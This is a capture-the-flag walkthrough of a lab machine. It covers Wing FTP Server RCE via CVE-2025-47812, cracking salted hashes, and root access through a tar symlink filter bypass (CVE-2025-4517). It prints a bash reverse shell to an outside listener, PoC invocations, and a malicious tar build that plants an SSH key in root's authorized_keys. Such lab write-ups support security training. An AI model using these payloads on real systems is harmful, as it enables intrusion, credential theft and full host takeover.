Overview
WingData is an easy Linux box with a satisfying chain. A Wing FTP Server installation exposes an authenticated RCE vulnerability that gets us a foothold, from which we harvest salted SHA-256 hashes from the FTP user files and crack the one belonging to a real system user. Privilege escalation comes from a sudo-allowed Python backup script that uses tarfile.extractall() without properly filtering symlinks, making it vulnerable to a path traversal attack that lets us inject an SSH public key into /root/.ssh/authorized_keys.
Reconnaissance
nmap -sS -sV -p- -Pn 10.129.244.106
22/tcp open ssh OpenSSH 9.2p1 Debian
80/tcp open http Apache httpd 2.4.66
Just SSH and HTTP. Apache is acting as a reverse proxy fronting the Wing FTP web interface. The main site throws a resolution error until we add both domains to /etc/hosts:
sudo nano /etc/hosts
# Add: 10.129.244.106 wingdata.htb ftp.wingdata.htb
http://wingdata.htb is the main company site. http://ftp.wingdata.htb is the Wing FTP client portal login page, and it helpfully exposes the exact version right on the page: Wing FTP Server v7.4.3.
Initial Access — CVE-2025-47812
Wing FTP Server v7.4.3 is vulnerable to CVE-2025-47812, an authenticated RCE flaw via Lua scripting. We use the public PoC to verify execution first:
git clone https://github.com/4m3rr0r/CVE-2025-47812-poc
cd CVE-2025-47812-poc
python3 CVE-2025-47812.py -u http://ftp.wingdata.htb -c "whoami"
# Output: wingftp
Now for the reverse shell. Note that this particular PoC does not URL-decode input before sending the HTTP request, so special characters in the payload will be misinterpreted. The payload needs to be pre-encoded manually:
nc -lvnp 4444
python3 CVE-2025-47812.py -u http://ftp.wingdata.htb \
-c 'bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.45%2F4444+0%3E%261%27'
Shell lands as wingftp. Stabilise it:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# Enter
export TERM=xterm
Post-Exploitation Enumeration
Basic checks reveal we’re running as uid=1000(wingftp) on a Debian 6.1.0-42 kernel. /etc/passwd shows a notable system user: wacky.
netstat -tulpn shows a few internal services:
127.0.0.1:8080 unknown service (localhost only)
0.0.0.0:5466 Wing FTP admin panel
0.0.0.0:34749 Wing FTP SFTP service
Credential Harvesting
The Wing FTP installation lives at /opt/wftpserver/. The interesting files are in /opt/wftpserver/Data/:
Data/
├── _ADMINISTRATOR/
│ ├── admins.xml -- admin account and password hash
│ └── settings.xml -- admin panel config
└── 1/
├── settings.xml -- domain config including password salting settings
└── users/ -- individual FTP user account files
Password Salting Config
/opt/wftpserver/Data/1/settings.xml reveals how passwords are hashed:
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
<EnableSHA256>1</EnableSHA256>
Passwords are SHA-256 hashed with the salt WingFTP appended — hashcat mode 1410 (sha256($pass.$salt)).
FTP User Hashes
From /opt/wftpserver/Data/1/users/:
| Username | Hash |
|---|---|
| anonymous | d67f86152e5c4df1b0ac4a18d3ca4a89… |
| john | c1f14672feec3bba27231048271fcdcd… |
| maria | a70221f33a51dca76dfd46c17ab17116… |
| steve | 5916c7481fa2f20bd86f4bdb900f0342… |
| wacky | 32940defd3c3ef70a2dd44a5301ff984… |
wacky is the most valuable target — they’re a real system user on the box, and their FTP account shows LoginCount: 2 from 127.0.0.1, suggesting active use and likely password reuse.
Cracking with Hashcat
Create a file with the hash in hash:salt format:
echo "32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP" > hashes.txt
hashcat -m 1410 hashes.txt /usr/share/wordlists/rockyou.txt
Cracks to: !#7Blushing^*Bride5
SSH as wacky
ssh wacky@10.129.244.106
# Password: !#7Blushing^*Bride5
User flag is at ~/user.txt.
Privilege Escalation — CVE-2025-4517 Tar Symlink Attack
Running sudo -l immediately reveals something interesting:
User wacky may run the following commands on wingdata:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
Reading the script at /opt/backup_clients/restore_backup_clients.py, it accepts a tar filename and a restore directory name, validates both with regex, then extracts the tar to a staging directory:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
This looks safe at first glance — the filter="data" argument was introduced in Python 3.12 specifically to block path traversal. However, the script is vulnerable to CVE-2025-4517 (and related CVE-2025-4138), which bypasses the tarfile.extractall() filter via a RealPath overflow. By crafting a tar containing deeply nested symlinks that overflow the path length check, the filter can be tricked into extracting files to arbitrary locations on the filesystem — as root.
Step 1 — Generate an SSH keypair on your attack machine
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub
Step 2 — Build the malicious tar
git clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC
cd CVE-2025-4138-4517-POC
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./backup_101.tar
Note the backup filename must match backup_<integer>.tar as validated by the script.
Step 3 — Transfer the tar to the target
scp backup_101.tar wacky@wingdata.htb:/opt/backup_clients/backups/
Step 4 — Trigger the extraction as root
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_101.tar -r restore_pwn
The symlink traversal writes your public key to /root/.ssh/authorized_keys.
Step 5 — SSH in as root
ssh -i ~/.ssh/id_ed25519 root@wingdata.htb
Root flag is at /root/root.txt.
Attack Chain Summary
| Step | Detail |
|---|---|
| Recon | nmap, vhost → ftp.wingdata.htb running Wing FTP v7.4.3 |
| RCE | CVE-2025-47812 Lua script injection → shell as wingftp |
| Hash harvest | /opt/wftpserver/Data/1/users/ → SHA-256 salted hashes |
| Hash crack | hashcat mode 1410 (sha256($pass.$salt)) → wacky:!#7Blushing^*Bride5 |
| User flag | ssh wacky@wingdata.htb → ~/user.txt |
| Sudo | restore_backup_clients.py runs as root with wildcard argument |
| Privesc | CVE-2025-4517 tar symlink bypass → inject SSH pubkey into /root/.ssh/authorized_keys |
| Root flag | ssh -i id_ed25519 root@wingdata.htb → /root/root.txt |